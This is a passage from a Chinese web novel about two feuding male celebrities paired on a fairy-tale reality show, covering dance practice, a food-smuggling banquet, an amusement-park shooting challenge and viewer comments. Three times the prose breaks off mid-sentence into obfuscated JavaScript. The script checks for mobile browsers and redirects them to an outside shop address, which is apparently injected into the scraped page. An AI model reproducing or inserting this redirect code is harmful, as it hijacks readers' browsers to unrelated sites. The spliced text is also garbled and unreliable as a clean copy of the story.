“放屁。”顾听舟想也不想道,“我快气死了好吗!”话音刚落,顾听舟就察觉到了易淮江问这句话的真实目的,眯起眼靠近,“你这话什么意思?” 一股邪火猛地蹿上心头,顾听舟倏然冷笑一声,了然道:“看来我在你心里的形象也不怎么样嘛。” 因为要练习舞蹈,几人身上的话筒早就摘了,直播也暂时中断,没了话筒收音的威胁,只要不高声说话,两人间的交谈并不会被别人察觉。 易淮江陷入了沉默,现在这样言语刻薄又充满挑衅意味的顾听舟仿佛才是他印象中的那个人。 可在他问出那句话之前,他能感觉的出来顾听舟并没有真的对他生气。易淮江眉心微蹙,但还是先拉住了顾听舟的手:“等等。” “又要干嘛?”顾听舟没好气道,作势要要甩开他。 易淮江直到这时才惊觉自己对顾听舟的偏见并不只来自于别人。 在他的印象中,顾听舟从来都不是会让自己憋屈受气的人,一旦发生了什么惹到他的事,顾听舟必定会千方百计地还回去,从小到大都是这样,尤其实在面对他的时候,顾听舟更是格外的不讲理,也更加的易燃易爆,两人都因为这样那样的原因看对方不怎么顺眼,于是针尖对麦芒,一杠就杠了二十年。 可眼下的,易淮江从前对付顾听舟得出的经验却忽然失效了。 等到顾听舟终于懒得挣扎了,易淮江这才松开了抓着他的手,终于开了口:“如果是以前,你会很生气。” “那你以前还没这么变态呢。” 旋转的动作需要搭档双方通过不断的练习来培养默契,舞蹈老师领着嘉宾们试了两次后,确认动作没问题,只是还把控不好动作幅度后,便发了话让嘉宾们自由练习,顺便休息一会。 顾听舟干脆趁机靠着墙根盘腿坐在了地板上。 易淮江没坐下,用单膝跪地的动作蹲下和他保持平视:“顾听舟……” 顾听舟抬手打断了他的话:“闭嘴。不听。” 顾听舟别过脸不看他,心里一团邪火止不住的往外冒,心情忽然之间就差得想把屋顶都给掀了。 可能真的是因为没睡好。 “对不起。”易淮江又道了一次歉。 第三次了。顾听舟磨了磨后槽牙,近二十年都没听过的道歉,今天他一口气听了三遍。每一遍的格式还不一样。 顾听舟听着这声道歉,心里的怒气忽然像是被一根小针扎破了的气球,缓缓瘪了下去。 其实在最最开始的时候,他对易淮江的印象不算差。 因为祝女士很喜欢文姨,文姨也是她唯一的好朋友,所以在提到易淮江这个刚好比他大一年零一天的“哥哥”的时候,顾听舟只模糊地有个概念。 祝女士和文姨关系好,文姨偶尔回国和祝女士见面时还会给他带很多新奇的礼物,所以顾听舟当时并不排斥这个突然冒出来的“哥哥”。 但这只是最开始。易淮江比他大一岁,入学也比他整整早了一年。而他爸作为一名大学老师,对于孩子成绩,总是有着下意识的攀比心和评判心。 因此在易淮江还没搬到他家隔壁时,顾听舟已经从他爸的嘴里听了不知道第多少遍“你要向易哥哥学习,以后好好读书拿第一”。 一次两次,这话或许就如过眼云烟,说过也就散了,可十次二十次,成百上千次,易淮江出众的学习能力和根本不应该出现在小孩身上的自制力,让他在一众连2+1都算不清的小屁孩中脱颖而出,也从此成了他爸最常爱在说教和要求他时挂在嘴边的名字,仿佛他怎么做都不如那个根本没见过的另一个小孩。 也因此,“易淮江”这个名字在顾听舟心里的好感度从此急转直下。 直到他爸因为教研会把他反锁在家里的那个雨夜之后,祝女士也下定了决心要把公司做大做强,给她唯一的儿子铺一条康庄大道。这之后,只要祝女士在家,他爸再犯老师病,就会被祝女士用各种手段强行矫正。 但祝女士忙,总是老顾在家的时间更多,虽然有所收敛,但他毕竟还在那个岗位上,还没离开职业,又怎么可能真的改掉这身职业病? 顾听舟听得不耐烦,本就是家里长辈要什么给什么宠着长大的脾气,对那位住在他家隔壁的,真正意义上的“隔壁家的小孩”就更没什么好脸了。就连大学毕业后选择进娱乐圈,其实也有很大一部分原因是为了和易淮江继续斗气。 仔细算下来,除了这个人说话不好听,总是冷冰冰很不好相处,还专门爱找他茬刺激他以外,大概有一半的问题出在他自己和老顾的身上。 因此在易淮江对他道歉后,顾听舟心里那股邪火忽然就被风吹得有点散了。 至少现在,耍流氓的易淮江比从前那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866164|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰块脸说话要好听不少。 顾听舟抿了抿唇,睨他:“你刚才说什么?” 易淮江见他终于肯吭声,当即又说了一遍:“对不起。” “说好的不找茬,这次我就不跟你计较。”顾听舟哼了声,“再有下次,就不是一句‘对不起’这么简单了。”就当做是稍微弥补一下他小时候对这人态度恶劣的旧债了。 顾听舟单手撑地站了起来,垂眸看某个还没反应过来的冰块脸:“起来,继续练。” * 一练就练了大半天,六人都是精疲力尽,但不管水平怎么样,起码也能把一首华尔兹完整跳完一个一分钟的片段。 晚上八点。 几人各自回家休息过后,由节目组准备的马车仪式隆重隆重地重新接回了城堡。 在乐队的伴奏下,头顶王冠的国王终于如约出现。等国王在王座上坐定后,内侍npc再次出场,指挥着乐队换了音乐。 华尔兹的音乐响起,三对嘉宾都认真地拿出了最好的练习状态,不出差错地跳完了这支舞。 等到沉寂已久的直播间终于重新接通录制现场的画面后,看着镜头中众人微微俯身的谢幕动作,原本零零散散的弹幕顿时刷得天昏地暗,拿出了要把直播间淹没的势头。 -我要看正片我要看正片!再不给我看正片我真的要闹了! -我就想看小情侣贴贴我有什么错,直播组每人扣一个鸡腿!我要看跳舞! -啊啊啊啊节目组你不当人 城堡里,欣赏完了舞曲的国王十分热情地鼓起了掌,接着点了点还牵着手的易淮江和顾听舟:“你们是……?” 内侍在一旁微微躬身:“陛下,他们就是顾骑士长和易总督。” “噢噢噢我想起来了。”国王点点头,“你们两位的默契确实很引人注目,跳得非常不错。” 评价晚了舞蹈,国王终于想起来了自己匆匆赶回国的目的,又问道:“昨天帮我守护了宝石的又是哪两位客人呢?” 内侍再次躬身:“陛下,就是刚才那两位,顾骑士长和易总督,陛下的宝石就是他们从盗贼手中拿回来的。” “哦?”国王摸了摸下巴上胶水粘着的胡子,“没想到啊,两位勇士竟然还是文武双全的人才!” 国王抚着假胡子报出了给勇士的奖励:“我决定了,为了庆祝我得到了价值连城的宝石,也为了嘉奖替我守护了宝石的贵客们,王国中最大的游乐场将会在明天开放整整一天,欢迎各位贵客前往游玩。” “而我的两位英武的勇士,你们明天一整天都可以在游乐场中享受最尊贵的VIP待遇。” 国王宣布完了后,拿着任务卡的叶导也背着他的小蜜蜂出现:“国王决定,明天的童话王国举国放假一天,所有人都可以进入游乐场进行游玩。但一日三餐需要靠嘉宾们自行获取。每游玩一个娱乐项目,可以收集一枚宝石奖章,集齐三枚宝石奖章,可以在游乐园中兑换一顿饭。” “在此基础上,国王特邀的VIP不受游乐场中的任何限制,拥有绝对特权,并且一日三餐正常供应。” 29.知错就改 叶导的话音刚落,傅乐天就率先举起了手:“导演,我有问题!顾老师和易老师是VIP,那我家公主呢?她可是王室继承人,我们是不是也有点什么别的特权?” 边竹也跟着搭腔:“我们两个怎么说也是国王亲封的伯爵,有VIP这种待遇怎么能不带上我们呢?” 邓秉述也配合着他点头:“对啊对啊,虽然我们也不奢求VIP待遇,但起码早餐可以考虑一下吧?大早上起来就饿着肚子做任务,节目组真的要这么狠心吗?” 叶导笑意盈盈地举着小蜜蜂抬手,然后绝情地给他们四个比了个叉:“VIP待遇只有一队的名额,你们可以下次努力。另外身份卡只用于区分出行和住所,没有额外特权噢。” 由于已经知道了明天的一日三餐都要靠游戏赢取,晚上的最后一顿豪华晚宴愣是被其他四人渲染出了断头饭的架势。 最先带头的依然是傅乐天。在试图和他舟哥求情明天分点美食的路上再次被导演截胡后,傅乐天化悲愤为食欲,吃得那叫一个风卷云残。 而边竹和邓秉述显然也和他抱着同一个想法,先把今天的吃回本,为明天的游戏积攒体力,于是三人轰轰烈烈地扫荡了长桌上大部分食物。 许黎无奈地看了一眼自己对象,略带了些不好意思地朝已经吃饱了的顾听舟和易淮江两人笑了笑。 她伸出手扯了扯傅乐天的衣摆示意他站起来帮自己拿个蛋挞,趁着傅乐天探着身子去够盘子的时候,飞快起身以迅雷不及掩耳之势把面前那一小篮子的面包藏在了座位下用斗篷盖住。 动作迅速,目标明确,实在是让桌上其他几位目睹了全程的嘉宾叹为观止。傅乐天满眼都是盘子里的蛋挞,根本没发现自己老婆干了什么,只余光中瞥见她站起来了下,等端到蛋挞坐下了,抬头一看,却发现另外几人都盯着他们看。 傅乐天迟疑了一瞬,看看盘子里剩下的几个蛋挞,又看了看盯着这边的朋友们,动作飞快地先塞了一个到许黎碗里,然后举着盘子小声问:“你们……吃蛋挞不?” 顾听舟没忍住笑,抬手握拳挡住了疯狂上扬的嘴角,咳了两声道:“不了不了,你们吃吧。” 边竹和邓秉述对视一眼,无声交流了下,也跟着摆了摆手:“我们也不用。” 但紧接着座位更靠近摄影机的边竹也跟着站了起来,在傅乐天满脸震惊的注视下和邓秉述靠着身高手长的优势捞走了半盒热狗。 傅乐天满脸“学到了”的震撼,当即扭头想和许黎也来个暗度陈仓,结果一转头就被许黎捂住了嘴。然后更加惊奇地看着许黎掀开斗篷后露出的那小半篮面包。 傅乐天:“!!!” 许黎捂着他嘴,认真叮嘱:“不要喊,不要乱动,等回去再说,点头我再放手。” 傅乐天眨眨眼睛,疯狂点头,许黎便松开了他。 傅乐天人都傻了,完全没想到还能有这个操作,但转念一想至少明天不用饿肚子了,就又憨憨地笑了起来。 顾听舟喝完最后一口热牛奶,余光瞥了眼身旁坐着的人,眼尾却忍不住耷拉了点。 又在看他。 一下午就没吭过几声,眼睛倒是转得快,把他当珍稀动物看呢? 吃饱喝足,几人纷纷起身准备回家。许黎装冷把斗篷笼在了身前,怀里抱着装面包的小篮子,挡得严严实实。边竹和邓秉述穿的都是礼服,没有足够遮挡的斗篷,邓秉述干脆脱了件外套包着盒子夹在胳膊里。 还没等出门,叶导就带着他的小蜜蜂拦在了宴会厅门口。 “咳咳。”叶彦装模作样地清了清嗓,“来吧,拿了什么东西趁现在先交出来吧。” 顾听舟默默收回视线,跟着其他人一起沉默,视线下移,落在了身侧某人刚好倒映在他脚下的影子上,顿了会儿后偷偷拿脚尖踩了踩,不偏不倚地落在了影子心口的位置。 叶导见几人默契且团结的装聋作哑也是十分惊讶,但很快就开始试图拆散这临时的同盟:“没有人主动自首的话,那就不要怪我连坐了。” “刚刚节目组经过商议,决定明早还是正常提供早餐,只有午餐和晚餐需要邓老师和许老师这两队通过游戏凭章兑换。”几人都悄悄松了口气,但紧接着就听叶彦继续道。 “但是,由于有嘉宾试图顶风作案,VIP组试图包庇,所以明天的VIP特权会被取消。而原本增加的早餐也会被重新删掉。”叶彦的目光在邓秉述和许黎身上顿了顿,意有所指道,“我可以再给最后一次机会,如果有人愿意主动检举,检举组可以正常享受明早的早餐。顶风作案的嘉宾如果愿意自首,我也可以既往不咎。” 导演的意思很明确。作为原本并不需要担心明天吃饭的VIP组,顾听舟和易淮江没有给自己留食物,这也就意味着在没有早餐的前提下,他们要饿着肚子完成一系列活动来争取食物。但如果他们愿意检举,在不考虑VIP特权是否能保留的情况下,至少还能保住早饭。 被无辜牵连失去特权,现在却有一个简单的方法保住最后一点优势,在游戏规则和导演组明晃晃的胁迫下,供出顶风作案的嘉宾也显得十分合情理。毕竟没有谁愿意为别人的过错莫名担责。 叶导设想得十分美好,但偏偏一个顾听舟一个易淮江,都不是什么省油的灯。顾听舟撩起眼皮瞥了眼依旧面无表情的易淮江,见他没反应,便懒洋洋打了个哈欠,从头到脚都大写加粗地透着完全不在意这点惩罚的意思:“都行。反正我俩没意见。” 易淮江不吭声那就是没意见,而他本来也不是随便就能让人威胁的人。他先表明了态度,之后边竹他们几个要怎么决定是他们的事,他俩不参与,也不干涉。 但另外四人的沉默却显然掺杂上了几分焦虑。没过多久,许黎率先从斗篷下拿出了篮子,邓秉述也紧跟着上交了热狗。 叶彦满意地收回了被“偷渡”的食物,便也没再为难他们:“好了,看在大家的认错态度都还算不错,刚才的话当我没说过,明天的游戏规则不变,早餐正常供应,顾老师和易老师依旧享有VIP待遇,大家没意见的话就早点回去养精蓄锐吧!” 顾听舟有几分意外,但也觉得他们的选择很正常。毕竟还在拍节目,大家的关系都还算不错,他和易淮江不在意那点福利,另外四人却会觉得是自己影响了他们,连坐的精髓就在于激起人的愧疚欲,以及成功进行仇恨转移。 尤其是当明星,更需要谨言慎行,不仅要配合游戏规则演出,还要顾忌自己的一举一动会不会影响粉丝观感。 就连他自己,也在进了娱乐圈后被威廉耳提命面地劝着收敛了不少脾气。 回到小洋楼。 顾听舟能感觉出易淮江时不时落在自己身上的视线,总是没一会儿就飘过来,但等他抬头要抓包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870607|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,这人又若无其事地挪开了,看得他属实浑身不自在。 这股不自在一直持续到他磨磨蹭蹭洗完澡回到卧室。 易淮江比他先洗澡,从他拿了睡衣离开前就捧着本书坐在床头看,等他回来还捧在手里。顾听舟在衣柜里捣鼓了会儿,从另一侧坐到床上时,余光一瞥。 忍不住在心里啧了声。 又装起来了。 这书从他离开前到现在,连一页都没翻过。 顾听舟看了眼时间,已经过了直播的点,干脆又起身,随手从椅背上薅了件衣服盖在了卧室内唯一的摄像头上,然后转身看向了一脸欲言又止的易淮江。 顾听舟一边撸袖子一边走到床沿:“实在不行就先打一架。” 易淮江按住了他的手,沉默了会儿后才淡声道:“我只是需要一点时间消化。” 顾听舟斜眼睨他,皱眉:“消化什么?” “认知偏差。” 这个答案勉勉强强可以接受,但顾听舟架势都摆出来了,当然不可能这么随便就收手,冷着张漂亮的脸追问:“那还打不打?” 易淮江摁住了他蠢蠢欲动的拳头,没给他这个机会:“不打。” “爱打不打,懒得管你。”顾听舟小声哼了声,嘟嘟嚷嚷地转回去掀了盖着摄像头的衣服,然后又转回床上躺下了。 易淮江垂眸看着他背对着自己装睡,也没再说话,默默整理自己的思绪。 回忆倒带回到了两人在木星娱乐的会议室重新见面的那天,一点点往后推移。抛去了一直以来隐约的刻板印象后,他不能不承认,顾听舟的脾气确实比以前好了很多。 尽管依旧对他“特殊待遇”,可他自己也不遑多让地一直在刺激人,但即便如此,明明可以直接用完就丢不配合他上节目的顾听舟还是没有选择撂挑子不干。 想起早上吃早餐时候顾听舟的迟疑,他甚至确实还在替自己考虑营业和剧本的事情。 易淮江的眼神渐渐软了下来,不自觉地上移落在那人的侧脸。可一抬眼却发现那只葫芦玩偶不知道什么时候也被摆在了床头,消失的嘴巴又被某人气急败坏地捏成了鸭子嘴,显然是某人泄愤过后特地摆出来给他看的。 卧室里一片静悄悄。 顾听舟闭着眼睛装睡,两个人都心知肚明。 不知道过去了多久,身后突然传出了点动静,没等他猜,眼前忽然一暗,紧接着身后的床又重新陷下了一点弧度。 紧接着,一只熟悉的手动作自然地盖在了他的眼镜上。 “看在陪睡效果还不错的份上,消消气?” 温热的呼吸喷洒在耳根,烫得顾听舟忍不住抿了抿干燥的唇瓣。 他没吭声,继续装睡。 易淮江没拆穿他,继续自言自语般道:“不说话就当你默认了。” 随便。 顾听舟睫毛微微颤了颤。谁生气了,他早上都说过不计较了,明明是这个人自己钻起了牛角尖,还要污蔑他! 易淮江感受着掌心下睫毛轻轻扫过的微痒,维持着这个动作终于躺了下来。看着面前明明一副不想搭理他却还是遵守承诺上床睡觉的人,那点微不足道的痒却像是顺着掌心蔓延到了胸腔。 明明脾气依然易燃易爆,明明依然是对他区别对待,可重新看却又能看出几分嘴硬心软。 甚至还有点可爱。 30.不太适应 清晨的日光懒洋洋洒落,万里无云的好天气,崭新的游乐园在晨光的照耀下更是熠熠生辉。 游乐园前的广场上,六位嘉宾都十分自觉地换了身较为轻便的服装,等待着导演发话。 叶彦理了理他的小蜜蜂,拎着个小板凳坐在了摄像机后头喊话:“首先,欢迎大家来到童话乐园。” “由于在第一天晚上,我们的顾老师和易老师联手抓到了偷盗宝石的盗贼,帮助国王成功守护了价值连城的珍贵宝石,所以今天一整天,在这个游乐园中,顾老师和易老师都可以享受最尊贵的VIP服务,游乐园内的所有项目都可以自由畅玩,还有免费的豪华餐食供应!” 几人配合着鼓掌,而一旁穿着玩偶服的工作人员也踏着掌声出现,为两人送上了彰显VIP身份的皇冠徽章。 “另外两对情侣也不用担心,普通游客可以通过完成一点小小的挑战获得游乐项目的游玩资格,每体验一个游乐项目就能获得一枚宝石奖章,集齐三枚就可以兑换午饭,再集齐三枚,同理可兑换晚饭。” 听到叶彦特意强调的“挑战”二字,众人原本还算轻松的表情也慢慢紧张了起来。 傅乐天瞪大了眼睛:“所以我们真的有可能连饭都吃不上?” 叶导点点头,脸上毫无歉意:“理论上是这样的。但我相信以各位嘉宾的聪明才智,应该是没有问题的。” 宣布完了规则,游乐园也在一众游乐园专属npc的齐心协力下打开了大门。 “最后,温馨提醒,午饭供应时间是中午12点到2点,晚饭供应时间是晚上6点到8点,大家不要错过噢。” 几人在广场集合已经是八点,讲规则又耽搁了十几分钟,因此进了游乐园后,另外四人便加快了步伐寻找游乐项目。 傅乐天跑得最快,拉着许黎一马当先冲到了距离海盗船的排队通道前,可还没进门就被穿着身海盗服的大胡子船长拦了下来:“想玩项目是吧?那你们必须先通过我的考验。” “没问题没问题。”傅乐天当即点了头。 然而等船长亮出题目后,傅乐天彻底呆住了。 船长身后的地砖上铺了一块四四方方约一平方米大小的指压板,绿油油的指压板旁还静静地躺着一捆跳绳,船长忍着笑为他们展示了一下两样挑战道具,然后才道:“我的考验非常简单,挑战限时90秒,你们两个人需要一起在指压板上跳绳,在90秒内跳够30个就算过关。” 此刻才跟着其他人一块走近的顾听舟忍不住往那块指压板上飘了下视线,光是看着就一阵头皮发麻,想想都知道会有多疼,竟然还要在上面跳绳。 顾听舟悄悄摸了摸自己胸前别着的小王冠徽章,接着从几人身边退开了。 易淮江从开始就没跟着他们过来凑热闹,顾听舟回到VIP专用的观光车上坐下,打开地图后用胳膊捅了捅边上的人:“你有没有什么想玩的?” “都行。” 顾听舟睨他:“你确定?我要是想玩过山车你也没问题?”出发前导演专门提醒过,游玩项目必须两人一起参与。 “想好了就去。”易淮江依然没意见。 顾听舟颇为惊奇地上下打量了他一眼,然后抬手用手背贴了贴他的额头:“没发烧啊。” 顾听舟问:“是本人吗?”怎么突然变得这么好说话了? 易淮江捉住他伸过来的手:“假一赔十。” 顾听舟:“……” 那倒是大可不必。 一个冰块脸就够气人的了,再来十个,他都不知道自己最后是会被冻死还是被气死。 -他俩这就走了? -VIP有专车肯定要先逛一圈嘛,来都来了 -只有我一个人觉得gtz和yhj这样很没有团队精神吗。。。 -?凭本事赢的VIP为什么不能自己玩,而且他俩又不用攒章,跟另外两对一起更会打扰他们做任务啊 -分屏了分屏了!江舟冲啊!! -我靠这是哪?他俩怎么跑到这么偏的地方来了 -游乐园竟然还有射击场?不行我DNA动了,十分钟内我要这个游乐园的所有信息!! 宽敞明亮的射击馆内,带着黑猫头套的NPC在看到门外陡然出现的两道高挑身影时,显而易见地有些意外。 从观光车上下来,顾听舟顺手摘下了别在衣领上的王冠徽章,握在掌心里抛了抛,扭头问:“你摘不摘?”没了象征着VIP身份的徽章,再进入场馆就默认是普通游客,想游玩娱乐项目必须通过挑战。 易淮江看他:“你想做挑战?” 顾听舟耸了耸肩,不置可否:“先看看呗,如果难度太高再亮徽章速通。” 易淮江没看懂他想干什么,但还是跟他一起摘了徽章。 空旷明亮的场馆中,一排排崭新的训练靶笔直挺立着,显然已经等候多时。 没走几步,一名带着黑猫头套的npc就拦了上来,抱着脑袋上不太稳当的头套仔细打量了一圈后道:“两位是想体验射击吗?” 顾听舟点点头,开门见山道:“你这里也有宝石奖章对吧?” “呃……是。”黑猫npc显然没想到他会这么直接,卡壳了一下后才点头道,“不过挑战是打靶,而且通关要求很高,你们想玩的话可以试试,但是不一定能拿到。” 这下轮到顾听舟惊讶了:“可以直接上场打靶?没有其他奇奇怪怪的游戏?” 黑猫npc托着略显笨重的头套摇了摇脑壳,诚实道:“没有。因为这边离正门太远了,所以为了节省时间,就直接把挑战和游乐项目融合了。” 顾听舟若有所思地点了点头,又接着问:“通关要求是什么?” 射击馆配备的设施很到位,在两人穿戴防护用具的间隙,直播间里的弹幕已经吵翻了天。 -搞什么,gtz这是要抢其他两组的饭票? -那个宝石章和他俩没关系吧,他还故意把VIP徽章藏起来去做挑战,其他两组能拿到的章不就更少了??? -早知道昨天那些面包就不该交上去,他们根本不愁吃还在这抢别人的份,服了 -尔多隆吗?npc都说了这边很偏,另外两组没车怎么过来? -可是通关条件是十枪至少要有80分,没必要骂这么凶吧,新手能做到不脱靶就很厉害了 -g ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878157|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' tz会不会不知道,但是易哥真的会 -重点不是他们在抢别人的饭票吗?而且这饭票他们自己又根本用不上!! -背如刺 -舟舟可能也会……不然我想不到他为啥会先来这 -前面的别叫了,另外两组都在海盗船和旋转木马前卡半天了,午饭都不一定赶得上怎么可能跑这边来? 直播间里轰轰烈烈吵得不可开交,射击馆中的顾听舟和易淮江已经穿戴好了防护用具。 顾听舟动作更快,易淮江低头戴防护眼镜时,他已经穿戴整齐地拎着把步/枪站到了射击台上。 上膛、瞄准,他手上的动作还算熟练,不管是姿势还是调整枪/械的动作都透着股潇洒的劲,帅得意气风发,但在内行人眼里却是显而易见的不规范。 不过一个呼吸,在消音器和耳罩的双重防护下,枪/管骤然发出一声闷响。顾听舟皱了皱眉,把步/枪放下转了转脖子后重新摆好了姿势。 -虽然但是,这张脸是真的帅 -帅就一个字,我喊一万次(站1秒舟江,gtz现在真的A爆了 -就这? -装倒是很会装,等会成绩出来就知道什么叫打脸了 -前面的yygq什么?你行你上屑屑 不等直播间的弹幕继续嘲讽,带着黑猫头套的npc已经报出了成绩:“第一枪……9.4分!” 他的语气中透着显而易见的惊讶,连带着黑猫头壳都差点被骤然抬起来的脑袋撞掉。 顾听舟却显然对这个成绩很不满意,余光不经意间略过站在一旁等候的易淮江,抿了抿唇重新拿稳了手里的枪。 又一声枪响,顾听舟侧首看向npc。 “第二枪……”要不是还带着头套,npc觉得自己的下巴真的能当场掉下来,“10分!” 眉梢微挑,顾听舟再次给步/枪/上膛,紧接着连开三枪,枪/枪/正中红心。 弹幕上原先带头骂他黑粉在第一枪成绩出来后还强撑着狡辩是他运气好,但等到第二枪结束后,当即销声匿迹。 顾听舟打完了自己的五发子弹,把/枪/交给易淮江之后才忽然想起来后悔,他甚至不清楚易淮江的水平,他是上学的时候和姜卓出门玩在街头用玩具/枪/打气球练出来的手感,后来大学军训才系统性接触了规范的射击动作,但时间太短,很多习惯还没来得及改。 按易淮江的卷王程度,应该不至于几年就忘光,能打个31分就差…… 干脆利落的一声枪响骤然打断了顾听舟的思绪,他下意识抬头望向靶心,然而隔得太远看不清,但紧接着npc便报出了易淮江的分数:“10……第一枪,10分。” 顾听舟下意识转头看向了射击台上的男人,恰好撞上那人投来的视线。两道视线骤然相接,仿佛和从前一样,却又隐约有哪里不一样。 顾听舟愣了一瞬,却见那双防护镜下的眼睛极其平静地又转了回去。 没有挑衅,也没有嘲笑,仿佛真的只是在射击的间隙抽空看了这边一眼。 顾听舟有些茫然,忍不住蹙了蹙眉,甚至还有些不太适应。 真转性了? 31.小小回礼 连声/枪/响过后,五发子弹都稳稳落在了靶心。两人的最终成绩显示为99.4分,远远超过了及格线。 脱了防护装备,从npc手里接过属于射击馆的宝石奖章,顾听舟随手把奖章塞进口袋,拉着易淮江又坐车去了下一个目的地。 尽管有观光车代步,但顾听舟在地图上挑挑拣拣,去的都是游乐园里或偏远或费时的项目,一个上午的时间过去,也才不紧不慢地拿到了两枚奖章。 到达餐厅时已经是12点多。 另外两对情侣和他们的画风截然不同,一路都匆匆忙忙,一上午的时间好不容易攒够了吃饭的三枚奖章,刚放下碗筷就又步履匆匆地奔赴下一个游乐项目,顾听舟和易淮江到达餐厅时,餐厅里早就已经没有了他们的身影。 顾听舟收回了打量的目光,抬手蹭了蹭领口处闪闪发亮的王冠徽章,和易淮江挑了张靠窗的桌子坐下。专属于VIP的豪华餐点被一一端到桌上,一道道精美的菜品冒着袅袅热汽,看得人食指大动。 不多时,食物便被一扫而空,顾听舟手里有一下没一下地抛着两枚小小的宝石奖章,目光不由自主地落在了对面人的手上。 易淮江的手指修长,骨节分明,执着刀叉时手背的青筋微微凸起,和扣动扳机时的模样很像,却又不太一样。 “想问什么?”易淮江冷不丁开口。 顾听舟单手撑着脸瞧他:“你什么时候学的,大学军训?” 他们俩的联系是从易淮江高考后那个暑假开始断掉的。易淮江比他高一届,两人一前一后包揽了接连两届海市的理科状元,只不过易淮江半道改了志愿去了华戏,他则在祝女士的殷切期盼下去了清大学经管。 只有逢年过节回家才会见上几面,但易家的矛盾显然更严重,他俩匆匆几面也顾不上吵架,只在手机上每年不厌其烦地互相拉黑,在各自妈妈的督促下拉出来发红包装一装,然后接着拉黑。 在高中毕业之前,他确定一定以及肯定,易淮江绝对没碰过这些东西。 “之前拍过军事题材的电影,导演安排演员统一封闭集训了三个月。”易淮江勾开了一瓶新的可乐,细微的气泡喷薄声随着指节的用力轻响,又很快隐没在轻快悠扬的小提琴曲中,他喝了一大口,然后随手放在了桌上,“教练是退役老兵,很多人都差点坚持不下去。”这“很多人”中自然不包括他。 “难怪。”顾听舟嘟囔,他虽然自己扳不过习惯,但易淮江的动作确实是规范中的规范。 手中的奖章小巧精致,被夹在指尖无意识地翻转滚动,随着指节的屈伸拨弄在指骨间翻转,像是一场小小的魔术表演,却又因为那双漂亮的手显得更像一场艺术性的展览会。 易淮江的视线被跃动的碎光吸引,又沿着两枚奖章转而落在那只闲极无聊的手上。 顾听舟原本只是随手玩着奖章发呆,可时间一长便无可避免地感受到了另一人的视线,他抬眼看过去,却发现易淮江似乎正盯着他手里的奖章。 拨弄奖章的手指忽然顿了顿,犹豫了一会儿后,顾听舟把其中一枚收进掌心,指尖夹着另一枚朝易淮江的方向伸了点:“想要就直说,老盯着看什么?” 易淮江却没接,反而抬眼看他:“你喜欢这个奖章?” 单从外观看,这个宝石奖章确实做的还算不错,仿真宝石的工艺和精致的装饰框,都足以划分在“好看”的一类。顾听舟一直对这类漂亮的宝石装饰很感兴趣,手链、项链亦或者是耳环,他见过的不在少数。 但这种只作为游戏货币流通的人造宝石,按理说不至于让顾听舟为了收集它们专门去做挑战。 顾听舟不置可否地挑了挑眉:“晚上你就知道了。”见他没有要接过奖章的意思,手腕一抖,两枚奖章都滚回了掌心,又被重新塞回了衣兜里。 顺手拿过刚刚还没喝完的可乐,手中和记忆不太对得上的重量不禁让顾听舟眼里闪过一丝迷惑,但想到自己刚刚发呆了半天,也有可能是记错了,最后干脆一口气把剩下的大半瓶全喝了。 易拉罐磕在桌上发出略显清脆的一声低响,顾听舟抬眼撞上了易淮江忽然有些奇怪的眼神。 是真的很奇怪,一副欲言又止的模样,看着也不像是找茬,反倒好像是他做了什么不太方便说的事一样。 顾听舟解读失败,干脆忽略了这人的眼神,抽了张纸巾擦了擦嘴唇,便率先从座位上站了起来:“走了,再去看看还有没有什么好玩的。” 易淮江点点头,跟着他离开,只是在走到餐厅的玻璃门前时先一步伸手拉开了门,趁顾听舟贴着他身边走过的时间忽然低声道:“你刚刚喝的那瓶可乐是我的。” 顾听舟一脚才踏出门外,闻言当即震惊地抬起了头,一双颜色极浅的眸子里满是不可置信,瞪大了眼睛盯他。 易淮江的视线从他骤然染上层绯红的耳垂上一扫过,动作自然地伸手环住了他的腰,带着人走出了餐厅,无辜道:“我以为你知道。” 放屁。 他缺那口可乐吗还非要抢易淮江喝过的? 一想到镜头后其他人都能看到他喝了这人喝过的饮料,顾听舟就忍不住磨了磨后槽牙。 亏他还以为这人真转性了,结果这才收敛半天,还不是本性暴露了。 顾听舟恶狠狠瞪了眼某个还在装无辜的流氓,转身回到餐厅又要了罐可乐,顺手又带了包纸巾,然后才重新出了门。 摄影机还在拍,他这时候直接当着镜头的面擦嘴显得太刻意,只能用饮料做掩饰。 易淮江的声音压得低,话筒收声收得模糊,直播间里的观众们并没有听清他说了些什么。但镜头下顾听舟喝了他喝过的可乐却是板上钉钉的事实。 -这不就是间接接吻!!! -你们小情侣有本事就真亲啊,偷偷摸摸的干什么,亲给我看啊! 